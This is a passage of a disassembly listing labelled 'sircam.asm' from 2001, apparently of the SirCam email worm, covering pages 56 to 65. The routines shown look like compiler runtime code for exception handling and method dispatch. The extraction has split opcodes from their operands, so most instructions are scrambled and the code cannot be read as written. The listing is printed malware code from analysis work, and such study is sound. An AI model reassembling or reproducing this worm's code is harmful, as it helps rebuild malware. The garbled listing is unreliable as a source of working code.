proc near
push
push
mov
mov
ebx
esi
ebx, eax
esi, eax
mov
mov
mov
test
jz
call
mov
esi, [esi]
edx, [esi-40h]
esi, [esi-24h]
edx, edx
short loc_402B9D
sub_403BBC
eax, ebx
test
jnz
call
pop
pop
retn
endp
esi, esi
short loc_402B8A
sub_4025B0
esi
ebx
; CODE XREF: CODE:004095E2\031p
; DATA XREF: CODE:00401050\030o ...
loc_402B8A:
; CODE XREF: sub_402B84+1B\031j
loc_402B9D:
sub_402B84
; CODE XREF: sub_402B84+10\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402BAC
proc near
test
jz
add
call
dl, dl
short loc_402BB8
esp, 0FFFFFFF0h
sub_402CDC
test
jz
call
pop
add
; CODE XREF: sub_402BAC+2\030j
dl, dl
short locret_402BCB
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_402BB8:
locret_402BCB:
sub_402BAC
; CODE XREF: sub_40A4BC+16\031p
; sub_40C358+16\031p ...
; CODE XREF: sub_402BAC+E\030j
retn
endp
sircam.asm
Fri Aug 10 12:42:44 2001
56
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402BCC
proc near
call
test
jle
call
; CODE XREF: sub_40A524+19\031p
; sub_40C3AC+3B\031p ...
sub_402D3C
dl, dl
short locret_402BDA
sub_402D2C
locret_402BDA:
sub_402BCC
; CODE XREF: sub_402BCC+7\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402BDC
proc near
test
jz
mov
mov
call
; CODE XREF: CODE:00402F52\031j
; sub_402FB4+30\031p ...
eax, eax
short locret_402BE7
ecx, [eax]
dl, 1
dword ptr [ecx-4]
locret_402BE7:
sub_402BDC
; CODE XREF: sub_402BDC+2\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402BE8:
; CODE XREF: CODE:00402B7C\030j
push
ebx
push
esi
push
edi
mov
ebx,
mov
edi,
stosd
mov
ecx,
xor
eax,
push
ecx
shr
ecx,
dec
ecx
repe stosd
pop
ecx
and
ecx,
repe stosb
mov
eax,
mov
edx,
eax
edx
[ebx-28h]
eax
2
3
edx
esp
loc_402C06:
; CODE XREF: CODE:00402C17\031j
mov
test
jz
push
ecx, [ebx-48h]
ecx, ecx
short loc_402C0E
ecx
loc_402C0E:
; CODE XREF: CODE:00402C0B\030j
mov
ebx, [ebx-24h]
test
ebx, ebx
jz
short loc_402C19
mov
ebx, [ebx]
jmp
short loc_402C06
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402C19:
; CODE XREF: CODE:00402C13\030j
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jz
esp, edx
short loc_402C3A
pop
mov
add
ebx
ecx, [ebx]
ebx, 4
mov
test
jz
mov
mov
esi, [ebx+10h]
esi, esi
short loc_402C30
edi, [ebx+14h]
[eax+edi], esi
add
dec
jnz
cmp
jnz
ebx, 1Ch
ecx
short loc_402C23
esp, edx
short loc_402C1D
loc_402C1D:
57
; CODE XREF: CODE:00402C38\031j
loc_402C23:
; CODE XREF: CODE:00402C34\031j
loc_402C30:
; CODE XREF: CODE:00402C28\030j
loc_402C3A:
; CODE XREF: CODE:00402C1B\030j
pop
edi
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402C40
proc near
test
jz
; CODE XREF: CODE:004092F8\031p
; sub_409A30+96\031p ...
eax, eax
short locret_402C54
loc_402C44:
; CODE XREF: sub_402C40+F\031j
mov
eax, [eax]
cmp
eax, edx
jz
short loc_402C52
mov
eax, [eax-24h]
test
eax, eax
jnz
short loc_402C44
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402C52:
; CODE XREF: sub_402C40+8\030j
mov
al, 1
locret_402C54:
sub_402C40
; CODE XREF: sub_402C40+2\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402C58
proc near
; CODE XREF: sub_402C88+4\031p
; sub_402CB4+13\031p
push
edi
xchg
eax, ebx
jmp
short loc_402C5E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402C5C:
; CODE XREF: sub_402C58+1F\031j
mov
ebx, [ebx]
sircam.asm
loc_402C5E:
Fri Aug 10 12:42:44 2001
58
; CODE XREF: sub_402C58+2\030j
mov
edi, [ebx-30h]
test
edi, edi
jz
short loc_402C72
movzx
ecx, word ptr [edi]
push
ecx
add
edi, 2
repne scasw
jz
short loc_402C7B
pop
ecx
loc_402C72:
; CODE XREF: sub_402C58+B\030j
mov
ebx, [ebx-24h]
test
ebx, ebx
jnz
short loc_402C5C
pop
edi
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402C7B:
sub_402C58
pop
add
sub
mov
pop
retn
endp
; CODE XREF: sub_402C58+17\030j
eax
eax, eax
eax, ecx
ebx, [edi+eax*2-4]
edi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402C88
proc near
; CODE XREF: sub_40C63C+43\031p
; sub_40C63C+52\031p ...
push
eax
push
ecx
mov
eax, [eax]
call
sub_402C58
pop
ecx
pop
eax
jz
short loc_402C97
jmp
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402C97:
sub_402C88
; CODE XREF: sub_402C88+B\030j
pop
jmp
endp
ecx
loc_4027FC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_402CA0:
;
;
;
;
; DATA XREF: CODE:00401038\030o
; CODE:00406220\031o ...
mov
eax, 8000FFFFh
retn
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
[00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
align 4
[00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 4
[00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
59
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402CB4
proc near
; DATA XREF: CODE:00401044\030o
; CODE:0040622C\031o ...
push
ebx
mov
bx, [edx]
or
bx, bx
jz
short loc_402CD4
cmp
bx, 0C000h
jnb
short loc_402CD4
push
eax
mov
eax, [eax]
call
sub_402C58
pop
eax
jz
short loc_402CD4
mov
ecx, ebx
pop
ebx
jmp
ecx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402CD4:
sub_402CB4
; CODE XREF: sub_402CB4+7\030j
; sub_402CB4+E\030j ...
pop
mov
jmp
endp
ebx
ecx, [eax]
dword ptr [ecx-10h]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402CDC
proc near
arg_0
= byte ptr
push
push
push
test
jl
call
loc_402CE6:
sub_402CDC
xor
lea
mov
mov
mov
mov
mov
mov
pop
pop
pop
retn
endp
; CODE XREF: sub_402BAC+7\030p
; sub_409450+A\031p ...
10h
edx
ecx
ebx
dl, dl
short loc_402CE6
dword ptr [eax-0Ch]
; CODE XREF: sub_402CDC+5\030j
edx, edx
ecx, [esp+arg_0]
ebx, fs:[edx]
[ecx], ebx
[ecx+8], ebp
dword ptr [ecx+4], offset loc_402D05
[ecx+0Ch], eax
fs:[edx], ecx
ebx
ecx
edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402D05:
; DATA XREF: sub_402CDC+18\030o
jmp
loc_402E34
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov
eax, [esp+2Ch]
mov
eax, [eax+0Ch]
sircam.asm
Fri Aug 10 12:42:44 2001
test
jz
mov
mov
push
call
pop
call
60
eax, eax
short loc_402D23
ecx, [eax]
dl, 81h
eax
dword ptr [ecx-4]
eax
sub_402D2C
loc_402D23:
; CODE XREF: CODE:00402D13\030j
call
sub_402FB4
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402D2C
proc near
sub_402D2C
mov
call
retn
endp
; CODE XREF: sub_402BCC+9\030p
; CODE:00402D1E\030p ...
edx, [eax]
dword ptr [edx-8]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402D34
proc near
sub_402D34
push
mov
call
pop
retn
endp
; CODE XREF: sub_402BAC+10\030p
; sub_409450+25\031p ...
eax
edx, [eax]
dword ptr [edx-1Ch]
eax
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402D3C
.
proc near
; CODE XREF: sub_402BCC\030p sub_40A524+2\031p ..
test
dl, dl
jg
short loc_402D41
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402D41:
sub_402D3C
push
push
mov
call
pop
pop
retn
endp
; CODE XREF: sub_402D3C+2\030j
eax
edx
edx, [eax]
dword ptr [edx-18h]
edx
eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402D4C
proc near
; CODE XREF: sub_402FB4+35\031p
cmp
ds:byte_41C008, 1
jbe
short locret_402D65
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
push
push
call
0
0
0
0EEDFADFh
j_RaiseException
locret_402D65:
sub_402D4C
61
; CODE XREF: sub_402D4C+7\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402D68
proc near
; CODE XREF: CODE:00402E81\031p
cmp
ds:byte_41C008, 0
jz
short locret_402D87
push
eax
push
eax
push
edx
push
esp
push
2
push
0
push
0EEDFAE4h
call
j_RaiseException
add
esp, 8
pop
eax
locret_402D87:
sub_402D68
; CODE XREF: sub_402D68+7\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402D88:
; CODE XREF: sub_402D9C+B\031j
push
push
push
push
call
add
pop
retn
esp
1
0
0EEDFAE0h
j_RaiseException
esp, 4
eax
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402D9C
proc near
; CODE XREF: CODE:00402F30\031p
cmp
ds:byte_41C008, 1
jbe
short locret_402DAC
push
eax
push
ebx
jmp
loc_402D88
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_402DAC:
sub_402D9C
; CODE XREF: sub_402D9C+7\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402DB0
proc near
; CODE XREF: sub_402DD0+C\031p
test
ecx, ecx
jz
short locret_402DCD
sircam.asm
Fri Aug 10 12:42:44 2001
62
mov
eax, [ecx+1]
cmp
byte ptr [ecx], 0E9h
jz
short loc_402DC8
cmp
byte ptr [ecx], 0EBh
jnz
short locret_402DCD
movsx
eax, al
inc
ecx
inc
ecx
jmp
short loc_402DCB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402DC8:
; CODE XREF: sub_402DB0+A\030j
add
ecx, 5
add
ecx, eax
loc_402DCB:
; CODE XREF: sub_402DB0+16\030j
locret_402DCD:
sub_402DB0
; CODE XREF: sub_402DB0+2\030j
; sub_402DB0+F\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402DD0
proc near
; CODE XREF: CODE:00402F85\031p
cmp
ds:byte_41C008, 1
jbe
short locret_402DF5
push
eax
push
edx
push
ecx
call
sub_402DB0
push
ecx
push
esp
push
1
push
0
push
0EEDFAE1h
call
j_RaiseException
pop
ecx
pop
ecx
pop
edx
pop
eax
locret_402DF5:
sub_402DD0
; CODE XREF: sub_402DD0+7\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402DF8
proc near
; CODE XREF: sub_403008+28\031p
cmp
ds:byte_41C008, 1
jbe
short locret_402E12
push
edx
push
esp
push
1
push
0
push
0EEDFAE2h
call
j_RaiseException
pop
edx
locret_402E12:
sub_402DF8
; CODE XREF: sub_402DF8+7\030j
retn
endp
sircam.asm
Fri Aug 10 12:42:44 2001
63
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_402E14
proc near
; CODE XREF: CODE:00403170\031p
push
eax
push
edx
cmp
ds:byte_41C008, 1
jbe
short loc_402E2E
push
esp
push
2
push
0
push
0EEDFAE3h
call
j_RaiseException
loc_402E2E:
sub_402E14
; CODE XREF: sub_402E14+9\030j
pop
pop
retn
endp
edx
eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_402E34:
; CODE XREF: CODE:00402D05\030j
; sub_4031E0+46\031j ...
mov
eax, [esp+4]
test
dword ptr [eax+4], 6
jnz
loc_402F57
cmp
dword ptr [eax], 0EEDFADEh
mov
edx, [eax+18h]
mov
ecx, [eax+14h]
jz
short loc_402EC1
cld
call
sub_402B4C
mov
edx, ds:dword_41E00C
test
edx, edx
jz
loc_402F57
call
edx
test
eax, eax
jz
loc_402F57
mov
edx, [esp+0Ch]
mov
ecx, [esp+4]
cmp
dword ptr [ecx], 0EEFFACEh
jz
short loc_402EB8
call
sub_402D68
cmp
ds:byte_41C00C, 0
jbe
short loc_402EB8
cmp
ds:byte_41C008, 0
ja
short loc_402EB8
lea
ecx, [esp+4]
push
eax
push
ecx
call
j_UnhandledExceptionFilter
cmp
eax, 0
pop
eax
jz
loc_402F57
mov
edx, eax
mov
eax, [esp+4]
mov
ecx, [eax+0Ch]
jmp
short loc_402EE8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402EB8:
; CODE XREF: CODE:00402E7F\030j
; CODE:00402E8D\030j ...
mov
mov
edx, eax
eax, [esp+4]
sircam.asm
Fri Aug 10 12:42:44 2001
64
mov
ecx, [eax+0Ch]
cmp
jbe
cmp
ja
push
lea
push
push
push
call
cmp
pop
pop
pop
jz
; CODE XREF: CODE:00402E51\030j
ds:byte_41C00C, 1
short loc_402EE8
ds:byte_41C008, 0
short loc_402EE8
eax
eax, [esp+8]
edx
ecx
eax
j_UnhandledExceptionFilter
eax, 0
ecx
edx
eax
short loc_402F57
or
push
xor
push
push
push
mov
push
push
push
push
mov
push
push
push
push
call
; CODE XREF: CODE:00402EB6\030j
; CODE:00402EC8\030j ...
dword ptr [eax+4], 2
ebx
ebx, ebx
esi
edi
ebp
ebx, fs:[ebx]
ebx
eax
edx
ecx
edx, [esp+28h]
0
eax
offset loc_402F0B
edx
j_RtlUnwind
loc_402EC1:
loc_402EE8:
loc_402F0B:
; DATA XREF: CODE:00402F00\030o
mov
edi, [esp+28h]
call
sub_4059F0
push
dword ptr [eax+0]
mov
[eax+0], esp
mov
ebp, [edi+8]
mov
ebx, [edi+4]
mov
dword ptr [edi+4], offset loc_402F37
add
ebx, 5
call
sub_402D9C
jmp
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402F37:
; DATA XREF: CODE:00402F26\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call
sub_4059F0
mov
ecx, [eax+0]
mov
edx, [ecx]
mov
[eax+0], edx
mov
eax, [ecx+8]
jmp
sub_402BDC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402F57:
; CODE XREF: CODE:00402E3F\030j
; CODE:00402E61\030j ...
mov
eax, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
loc_402F60:
65
; CODE XREF: CODE:004019BA\030j
; sub_4019C8+D6\030j ...
mov
mov
test
jz
mov
mov
push
push
push
push
mov
add
call
call
pop
pop
pop
pop
eax, [esp+4]
edx, [esp+8]
dword ptr [eax+4], 6
short loc_402F90
ecx, [edx+4]
dword ptr [edx+4], offset loc_402F90
ebx
esi
edi
ebp
ebp, [edx+8]
ecx, 5
sub_402DD0
ecx
ebp
edi
esi
ebx
loc_402F90:
; CODE XREF: CODE:00402F6F\030j
; DATA XREF: CODE:00402F74\030o
mov
eax, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
